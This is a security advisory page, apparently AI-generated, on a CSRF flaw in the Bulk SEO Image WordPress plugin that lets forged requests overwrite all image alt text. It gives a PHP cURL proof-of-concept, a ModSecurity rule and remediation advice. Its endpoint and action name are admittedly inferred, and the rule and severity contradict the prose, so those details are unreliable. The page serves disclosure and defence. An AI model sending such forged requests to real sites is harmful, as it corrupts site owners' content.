Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : June 23, 2026

CVE-2026-11997: Bulk SEO Image <= 1.1 Cross-Site Request Forgery to Settings Update PoC, Patch Analysis & Rule

CVE ID CVE-2026-11997

Plugin bulk-seo-image

Severity Medium (CVSS 4.3)

CWE 352

Vulnerable Version 1.1

Patched Version —

Disclosed June 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11997 (metadata-based): This is a Cross-Site Request Forgery (CSRF) vulnerability in the Bulk SEO Image plugin for WordPress, affecting versions up to and including 1.1. The vulnerability allows an unauthenticated attacker to trick a site administrator into performing an action that bulk-overwrites the ALT-text metadata for all images attached to published posts and pages. The CVSS score is 4.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N.

Root Cause: The vulnerability stems from missing or incorrect nonce validation on the plugin’s settings page handler. The description confirms that no wp_nonce_field() is emitted in the form and no check_admin_referer()/wp_verify_nonce() is performed before bulk-overwriting the _wp_attachment_image_alt post meta. This allows an attacker to forge a request that triggers the bulk operation. Atomic Edge analysis infers that the handler function BulkSeoImage() dispatches to launchbulk() or BulkSeoImageGo() when the request contains $_POST[‘bulkseoimage’]. The plugin likely uses WordPress admin-ajax.php or a direct POST to an admin page, but the description points to an admin settings page handler.

Exploitation: An attacker crafts a malicious HTML page or link that, when visited by an authenticated administrator, submits a POST request to the vulnerable endpoint. The request must include the parameter ‘bulkseoimage’ (any value triggers the action). The request can target either /wp-admin/admin-ajax.php with action=bulk_seo_image (inferred from plugin slug) or directly to the plugin’s settings page URL. The attacker does not need to provide a nonce. The form submission causes all _wp_attachment_image_alt meta values to be set to the attacker-controlled value (alt-text). Atomic Edge analysis notes that the exact endpoint path is not confirmed from code but aligns with WordPress plugin conventions for admin POST handlers.

Remediation: The plugin must add nonce validation to the bulk operation handler. Specifically, the plugin should use wp_nonce_field() within the form to generate a nonce, and then call check_admin_referer() or wp_verify_nonce() before executing any database modifications. Additionally, capability checks should be added to ensure only users with sufficient permissions (e.g., ‘manage_options’) can perform the bulk operation. Since no patched version is available, administrators should disable or remove the plugin until a fix is released.

Impact: Successful exploitation allows an attacker to corrupt all image ALT-text metadata across the site. This degrades accessibility for screen readers and harms SEO by replacing descriptive alt text with arbitrary values. The integrity impact is low because the attacker cannot execute code or escalate privileges, but the change is widespread and not easily reversible without manual restoration.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-11997 (metadata-based)
# Block CSRF exploitation attempts against Bulk SEO Image plugin bulk alt-text update
# Matches POST requests to admin-ajax.php with action=bulk_seo_image and bulkseoimage parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261997,phase:2,deny,status:403,chain,msg:'CVE-2026-11997 - Bulk SEO Image CSRF to Settings Update',severity:'CRITICAL',tag:'CVE-2026-11997'"
  SecRule ARGS_POST:action "@streq bulk_seo_image" 
    "chain"
    SecRule ARGS_POST:bulkseoimage "@rx ^[0-9]+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-11997 - Bulk SEO Image <= 1.1 - Cross-Site Request Forgery to Settings Update

// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to target site URL
$action = 'bulk_seo_image'; // Inferred AJAX action from plugin slug
$alt_text = 'spammed-alt-text'; // Malicious alt-text to set for all images

// Build POST payload
$post_data = array(
    'action' => $action,
    'bulkseoimage' => '1',
    'alttext' => $alt_text
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=test; wordpress_sec_xxx=test'); // Placeholder cookies

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status Code: " . $http_code . "n";
echo "Response: " . substr($response, 0, 500) . " [...]n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations